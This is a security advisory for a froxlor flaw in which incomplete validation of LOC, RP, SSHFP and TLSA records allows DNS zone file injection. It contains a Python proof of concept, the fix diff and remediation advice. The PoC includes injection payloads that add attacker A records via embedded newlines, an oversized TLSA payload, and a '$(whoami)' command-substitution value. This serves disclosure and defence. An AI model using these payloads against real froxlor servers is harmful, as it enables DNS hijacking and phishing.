VYPR
Medium severityGHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Froxlor has an incomplete fix for CVE-2026-30932

CVE-2026-41237

Description

Summary

The LOC record regex uses \s+ which matches newlines (allowing embedded newlines to pass), TLSA matchingType=0 has no upper bound on hex data length, and all validators return raw input without zone-file escaping.

Affected

Package

  • Ecosystem: Other
  • Package: froxlor
  • Affected versions: all versions before fix commit b34829262dc3
  • Patched versions: >= commit b34829262dc3

Severity

Medium -- CVSS

CWE

CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)

Details

DNS record content is concatenated directly into bind9 zone files at DnsEntry.php line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.

The fix adds format-specific regexes and field validation but has gaps: the LOC regex's \s+ matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA matchingType=0 only requires len(data) >= 2 with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.

PoC

#!/usr/bin/env python3
"""
CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor

Affected component: lib/Froxlor/Api/Commands/DomainZones.php
Vulnerability type: Input Validation / DNS Zone File Injection
Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b

The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.
However, the sanitization is incomplete:

1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.
2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0
   allows unbounded hex data; validators return raw input without escaping.
"""

import re
import sys
import string

def vulnerable_add_record(record_type, content):
    """Pre-fix: no validation for LOC, RP, SSHFP, TLSA."""
    errors = []
    if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:
        pass
    return {"errors": errors, "content": content}


def validate_dns_loc(inp):
    """Replicates Validate::validateDnsLoc from the patch."""
    pattern = re.compile(
        r'^'
        r'(\d{1,2})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([NS])\s+'
        r'(\d{1,3})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([EW])\s+'
        r'(-?\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m)?'
        r')?)?$',
        re.DOTALL
    )
    m = pattern.match(inp)
    if not m:
        return False

    lat_deg = int(m.group(1))
    lat_min = int(m.group(2))
    lat_sec = float(m.group(3))
    lon_deg = int(m.group(5))
    lon_min = int(m.group(6))
    lon_sec = float(m.group(7))

    if lat_deg > 90: return False
    if lat_min > 59: return False
    if lat_sec >= 60: return False
    if lon_deg > 180: return False
    if lon_min > 59: return False
    if lon_sec >= 60: return False

    return inp


def validate_dns_sshfp(inp):
    """Replicates Validate::validateDnsSshfp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 3:
        return False

    algorithm, fp_type, fingerprint = parts

    valid_algorithms = [1, 2, 3, 4, 6]
    if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:
        return False

    valid_types = [1, 2]
    if not fp_type.isdigit() or int(fp_type) not in valid_types:
        return False

    if not all(c in string.hexdigits for c in fingerprint):
        return False

    fp_type_int = int(fp_type)
    expected = {1: 40, 2: 64}.get(fp_type_int, 0)
    if len(fingerprint) != expected:
        return False

    return inp


def validate_dns_tlsa(inp):
    """Replicates Validate::validateDnsTlsa from the patch."""
    parts = inp.strip().split()
    if len(parts) != 4:
        return False

    usage, selector, matching_type, data = parts

    if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:
        return False
    if not selector.isdigit() or int(selector) not in [0, 1]:
        return False
    if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:
        return False
    if not all(c in string.hexdigits for c in data):
        return False

    mt = int(matching_type)
    if mt == 1 and len(data) != 64:
        return False
    if mt == 2 and len(data) != 128:
        return False
    if mt == 0 and len(data) < 2:
        return False

    return inp


def validate_dns_rp(inp):
    """Replicates Validate::validateDnsRp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 2:
        return False

    mbox, txt = parts
    mbox = mbox.rstrip('.')
    txt = txt.rstrip('.')

    domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')
    if not domain_re.match(mbox):
        return False
    if not domain_re.match(txt):
        return False

    return inp


def fixed_add_record(record_type, content):
    """Post-fix: validates content but returns raw input."""
    errors = []
    validators = {
        'LOC': validate_dns_loc,
        'RP': validate_dns_rp,
        'SSHFP': validate_dns_sshfp,
        'TLSA': validate_dns_tlsa,
    }
    if record_type in validators and content:
        result = validators[record_type](content)
        if result is False:
            errors.append(f"The {record_type} record has invalid content")
    return {"errors": errors, "content": content}


def generate_zone_line(record, ttl, rtype, content):
    """Replicates DnsEntry.php line 83: direct string concatenation."""
    return f"{record}\t{ttl}\tIN\t{rtype}\t{content}\n"


vuln_confirmed = False

print("=" * 70)
print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection")
print("=" * 70)
print()

print("[TEST 1] VULNERABLE version: SSHFP record with zone injection")
print("-" * 70)

malicious_sshfp = "1 1 aabbccdd\nevil.example.com.\t300\tIN\tA\t6.6.6.6"
result = vulnerable_add_record('SSHFP', malicious_sshfp)

if not result['errors']:
    zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])
    print("VULNERABLE: No validation, malicious content accepted!")
    print("Generated zone file output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "6.6.6.6" in zone_output:
        print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!")
        vuln_confirmed = True

print()

print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)")
print("-" * 70)

result_fixed = fixed_add_record('SSHFP', malicious_sshfp)
if result_fixed['errors']:
    print("FIXED: Blocked -", "; ".join(result_fixed['errors']))
else:
    print("BYPASS: Still accepted!")
    vuln_confirmed = True

print()

print("[TEST 3] FIXED version BYPASS: LOC record with newline via \\s+ matching")
print("-" * 70)

loc_bypass = "51 28 38 N 0 0 1\nW\n10m"
result_loc = fixed_add_record('LOC', loc_bypass)

if not result_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    if len(lines) > 1:
        print("BYPASS CONFIRMED: LOC with embedded newline passed validation!")
        print(f"Generated zone output has {len(lines)} lines:")
        print("---")
        print(zone_output, end="")
        print("---")
        vuln_confirmed = True
    else:
        print("Validated but single line output.")
else:
    print("Blocked:", "; ".join(result_loc['errors']))
    templates = [
        "51\n28 38 N 0 0 1 W 10m",
        "51 28\n38 N 0 0 1 W 10m",
        "51 28 38\nN 0 0 1 W 10m",
        "51 28 38 N\n0 0 1 W 10m",
        "51 28 38 N 0\n0 1 W 10m",
        "51 28 38 N 0 0\n1 W 10m",
        "51 28 38 N 0 0 1\nW 10m",
        "51 28 38 N 0 0 1 W\n10m",
    ]
    for i, t in enumerate(templates):
        r = fixed_add_record('LOC', t)
        if not r['errors']:
            zone_out = generate_zone_line('@', 300, 'LOC', r['content'])
            zlines = [l for l in zone_out.split('\n') if l.strip()]
            if len(zlines) > 1:
                print(f"  BYPASS at position {i}: newline in LOC passed validation!")
                print(f"  Zone output lines: {len(zlines)}")
                vuln_confirmed = True
                break
    else:
        print("  LOC newline bypass not directly exploitable in this regex engine.")

print()

print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload")
print("-" * 70)

huge_hex = "aa" * 50000
tlsa_payload = "3 1 0 " + huge_hex
result_tlsa = fixed_add_record('TLSA', tlsa_payload)

if not result_tlsa['errors']:
    print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!")
    print("  -> No upper bound on certificate association data length.")
    print("  -> Can be used for DNS amplification or data exfiltration channel.")
    print(f"  -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!")
    vuln_confirmed = True
else:
    print("Blocked:", "; ".join(result_tlsa['errors']))

print()

print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection")
print("-" * 70)

malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2"
result_vuln_loc = vulnerable_add_record('LOC', malicious_loc)

if not result_vuln_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    print(f"VULNERABLE: Injected {len(lines)} zone file lines!")
    print("Generated zone output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "10.0.0.1" in zone_output:
        print("[!] Attacker DNS records injected into zone file!")
        vuln_confirmed = True

print()

print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters")
print("-" * 70)

shell_inject = "3 1 1 $(whoami)"
vuln_r = vulnerable_add_record('TLSA', shell_inject)
fixed_r = fixed_add_record('TLSA', shell_inject)

vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED"
fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED"

print(f"  VULNERABLE version: {vuln_status}")
print(f"  FIXED version:      {fixed_status}")

if not vuln_r['errors'] and fixed_r['errors']:
    print("  -> Fix correctly blocks shell metacharacters in TLSA.")
if not vuln_r['errors']:
    vuln_confirmed = True

print()

print("=" * 70)
print("RESULTS SUMMARY")
print("=" * 70)
print()
print("Pre-fix (VULNERABLE):")
print("  - LOC, RP, SSHFP, TLSA records accept ANY content with no validation")
print("  - Enables DNS zone file injection via newlines in record content")
print("  - Content directly concatenated into zone files (DnsEntry.php:83)")
print()
print("Post-fix (INCOMPLETE):")
print("  - TLSA matchingType=0 has no upper bound on hex data length")
print("  - Validation returns raw input without zone-file escaping")
print("  - No output encoding when writing content to zone files")
print()

if vuln_confirmed:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce: 1. git clone https://github.com/froxlor/froxlor /tmp/froxlor_test 2. cd /tmp/froxlor_test && git checkout b34829262dc3~1 3. python3 poc.py

Expected output: `` VULNERABILITY CONFIRMED LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters ``

Impact

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.

Suggested

Remediation

Replace \s+ in the LOC regex with [ \t]+ to exclude newlines. Add a maximum length for TLSA matchingType=0 data. Escape or reject newlines in all DNS record content before writing to zone files.

Resources

  • Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3
  • Original CVE: CVE-2026-30932

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Froxlor all versions before commit b34829262dc3 have incomplete validation for LOC, TLSA, and other DNS record types, allowing zone file injection via embedded newlines and oversized hex payloads.

Vulnerability

The LOC record regex uses \s+ which matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA matchingType=0 only requires len(data) >= 2 with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping. This affects all froxlor versions before the fix commit b34829262dc3 [1][2].

Exploitation

An attacker with DNS record management access (authenticated customer or admin) can submit a crafted LOC record containing a newline character between fields, or a TLSA record with matchingType=0 and an arbitrarily long hex string. The injected content is directly concatenated into Bind9 zone files at DnsEntry.php line 83, bypassing the incomplete regex validation [1][2].

Impact

Successful injection allows an attacker to write arbitrary lines into the generated zone file, potentially leading to zone file corruption, injection of additional DNS records, or inclusion of external files via $INCLUDE directives. This can result in partial denial of service or manipulation of DNS resolution for domains managed by the froxlor instance [1][2][3].

Mitigation

The vulnerability is fixed in commit b34829262dc3. Users should upgrade to a version that includes this commit (e.g., froxlor 2.3.5 or later). If immediate upgrade is not possible, restrict DNS record management access to trusted users and monitor zone file integrity [1][2][3].

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Froxlor/FroxlorGHSA2 versions
    <= 2.3.6+ 1 more
    • (no CPE)range: <= 2.3.6
    • (no CPE)range: < commit b34829262dc3

Patches

1
b34829262dc3

validate dns LOC, RP, SSHFP and TLSA record-content according to specifications

https://github.com/froxlor/froxlorMichael KaufmannFeb 24, 2026via body-scan
4 files changed · +203 4
  • lib/Froxlor/Api/Commands/DomainZones.php+24 4 modified
    @@ -211,7 +211,12 @@ public function add()
     			// append trailing dot (again)
     			$content .= '.';
     		} elseif ($type == 'LOC' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsLoc($content)) {
    +				$errors[] = lng('error.dns_loc_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'MX') {
     			if ($prio === null || $prio < 0) {
     				$errors[] = lng('error.dns_mx_prioempty');
    @@ -251,7 +256,12 @@ public function add()
     			// append trailing dot (again)
     			$content .= '.';
     		} elseif ($type == 'RP' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsRp($content)) {
    +				$errors[] = lng('error.dns_rp_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'SRV') {
     			if ($prio === null || $prio < 0) {
     				$errors[] = lng('error.dns_srv_prioempty');
    @@ -288,9 +298,19 @@ public function add()
     				$content .= '.';
     			}
     		} elseif ($type == 'SSHFP' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsSshfp($content)) {
    +				$errors[] = lng('error.dns_sshfp_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'TLSA' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsTlsa($content)) {
    +				$errors[] = lng('error.dns_tlsa_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'TXT' && !empty($content)) {
     			// check that TXT content is enclosed in " "
     			$content = Dns::encloseTXTContent($content);
    
  • lib/Froxlor/Validate/Validate.php+171 0 modified
    @@ -386,4 +386,175 @@ public static function validateBase64Image(string $base64string)
     		// If everything is okay, return true
     		return true;
     	}
    +
    +	public static function validateDnsLoc(string $input)
    +	{
    +		$pattern = '/^
    +        (\d{1,2})\s+                # latitude degrees
    +        (\d{1,2})\s+                # latitude minutes
    +        (\d{1,2}(?:\.\d+)?)\s+      # latitude seconds
    +        ([NS])\s+                   # latitude direction
    +        (\d{1,3})\s+                # longitude degrees
    +        (\d{1,2})\s+                # longitude minutes
    +        (\d{1,2}(?:\.\d+)?)\s+      # longitude seconds
    +        ([EW])\s+                   # longitude direction
    +        (-?\d+(?:\.\d+)?)m          # altitude
    +        (?:\s+(\d+(?:\.\d+)?)m      # size (optional)
    +        (?:\s+(\d+(?:\.\d+)?)m      # horiz precision (optional)
    +        (?:\s+(\d+(?:\.\d+)?)m)?    # vert precision (optional)
    +        )?)?$/x';
    +
    +		if (!preg_match($pattern, $input, $matches)) {
    +			return false;
    +		}
    +
    +		[
    +			,
    +			$latDeg, $latMin, $latSec, $latDir,
    +			$lonDeg, $lonMin, $lonSec, $lonDir,
    +			$alt,
    +			$size, $hPrec, $vPrec
    +		] = $matches + array_fill(0, 13, null);
    +
    +		// Range checks
    +		if ($latDeg > 90) return false;
    +		if ($latMin > 59) return false;
    +		if ($latSec >= 60) return false;
    +
    +		if ($lonDeg > 180) return false;
    +		if ($lonMin > 59) return false;
    +		if ($lonSec >= 60) return false;
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsRp(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 2) {
    +			return false;
    +		}
    +
    +		[$mboxDname, $txtDname] = $parts;
    +
    +		// remove trailing dot if any
    +		$mboxDname = rtrim($mboxDname, '.');
    +		$txtDname  = rtrim($txtDname, '.');
    +
    +		if (!self::validateDomain($mboxDname)) {
    +			return false;
    +		}
    +
    +		if (!self::validateDomain($txtDname)) {
    +			return false;
    +		}
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsSshfp(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 3) {
    +			return false;
    +		}
    +
    +		[$algorithm, $type, $fingerprint] = $parts;
    +
    +		// ---- algorithm ----
    +		$validAlgorithms = [1, 2, 3, 4, 6];
    +
    +		if (!ctype_digit($algorithm) || !in_array((int)$algorithm, $validAlgorithms, true)) {
    +			return false;
    +		}
    +
    +		// ---- fingerprint type ----
    +		$validTypes = [1, 2];
    +
    +		if (!ctype_digit($type) || !in_array((int)$type, $validTypes, true)) {
    +			return false;
    +		}
    +
    +		// ---- check fingerprint ----
    +		if (!ctype_xdigit($fingerprint)) {
    +			return false;
    +		}
    +
    +		$type = (int)$type;
    +
    +		switch ($type) {
    +			case 1: // SHA-1
    +				$expectedLength = 40;
    +				break;
    +
    +			case 2: // SHA-256
    +				$expectedLength = 64;
    +				break;
    +
    +			default:
    +				$expectedLength = 0;
    +				break;
    +		}
    +
    +		if (strlen($fingerprint) !== $expectedLength) {
    +			return false;
    +		}
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsTlsa(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 4) {
    +			return false;
    +		}
    +
    +		[$usage, $selector, $matchingType, $data] = $parts;
    +
    +		// ---- usage ----
    +		$validUsage = [0, 1, 2, 3];
    +
    +		if (!ctype_digit($usage) || !in_array((int)$usage, $validUsage, true)) {
    +			return false;
    +		}
    +
    +		// ---- selector ----
    +		$validSelector = [0, 1];
    +
    +		if (!ctype_digit($selector) || !in_array((int)$selector, $validSelector, true)) {
    +			return false;
    +		}
    +
    +		// ---- matching type ----
    +		$validMatching = [0, 1, 2];
    +
    +		if (!ctype_digit($matchingType) || !in_array((int)$matchingType, $validMatching, true)) {
    +			return false;
    +		}
    +
    +		// ---- certificate association data ----
    +		if (!ctype_xdigit($data)) {
    +			return false;
    +		}
    +
    +		$matchingType = (int)$matchingType;
    +
    +		if ($matchingType === 1 && strlen($data) !== 64) {
    +			return false; // SHA-256
    +		}
    +
    +		if ($matchingType === 2 && strlen($data) !== 128) {
    +			return false; // SHA-512
    +		}
    +
    +		if ($matchingType === 0 && strlen($data) < 2) {
    +			return false; // at least 1 byte hex
    +		}
    +
    +		return $input;
    +	}
     }
    
  • lng/de.lng.php+4 0 modified
    @@ -969,6 +969,10 @@
     		'dns_srv_noalias' => 'Der SRV Eintrag darf kein CNAME Eintrag sein.',
     		'dns_duplicate_entry' => 'Eintrag existiert bereits',
     		'dns_notfoundorallowed' => 'Domain nicht gefunden oder keine Berechtigung',
    +		'dns_loc_invalid' => 'Ungültiger LOC Eintrag',
    +		'dns_rp_invalid' => 'Ungültiger RP Eintrag',
    +		'dns_sshfp_invalid' => 'Ungültiger SSHFP Eintrag',
    +		'dns_tlsa_invalid' => 'Ungültiger TLSA Eintrag',
     		'domain_nopunycode' => 'Die Eingabe von Punycode (IDNA) ist nicht notwendig. Die Domain wird automatisch konvertiert.',
     		'domain_noipaddress' => 'Eine IP-Adresse kann nicht als Domain angelegt werden',
     		'dns_record_toolong' => 'Records/Labels können maximal 63 Zeichen lang sein',
    
  • lng/en.lng.php+4 0 modified
    @@ -1040,6 +1040,10 @@
     		'dns_srv_noalias' => 'The SRV-target value cannot be an CNAME entry.',
     		'dns_duplicate_entry' => 'Record already exists',
     		'dns_notfoundorallowed' => 'Domain not found or no permission',
    +		'dns_loc_invalid' => 'The LOC record has invalid content',
    +		'dns_rp_invalid' => 'The RP record has invalid content',
    +		'dns_sshfp_invalid' => 'The SSHFP record has invalid content',
    +		'dns_tlsa_invalid' => 'The TLSA record has invalid content',
     		'domain_nopunycode' => 'You must not specify punycode (IDNA). The domain will automatically be converted',
     		'domain_noipaddress' => 'Cannot add an IP address as domain',
     		'dns_record_toolong' => 'Records/labels can only be up to 63 characters',
    

Vulnerability mechanics

Root cause

"The LOC record regex uses `\s+` which matches newlines, TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping."

Attack vector

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines [ref_id=1]. After the incomplete fix, the LOC regex's `\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file [CWE-74]. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads [ref_id=2]. All validators return raw input without zone-file escaping.

Affected code

The vulnerability resides in `lib/Froxlor/Api/Commands/DomainZones.php` where DNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. The patch `b34829262dc3` added validation methods in `lib/Froxlor/Validate/Validate.php` (`validateDnsLoc`, `validateDnsRp`, `validateDnsSshfp`, `validateDnsTlsa`) but these validators return raw input without zone-file escaping.

What the fix does

The patch adds format-specific regexes and field validation for LOC, RP, SSHFP, and TLSA records in `Validate.php` and wires them into `DomainZones.php` [patch_id=3101450]. However, the fix is incomplete: the LOC regex uses `\s+` which matches newlines, TLSA `matchingType=0` lacks an upper bound on hex data length, and all validators return the raw input without any zone-file escaping or newline rejection [ref_id=1]. The advisory recommends replacing `\s+` with `[ \t]+`, adding a maximum length for TLSA `matchingType=0` data, and escaping or rejecting newlines before writing to zone files [ref_id=2].

Preconditions

  • authAttacker must be an authenticated froxlor user with DNS management permissions
  • configThe DNS record content is concatenated directly into bind9 zone files without escaping

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.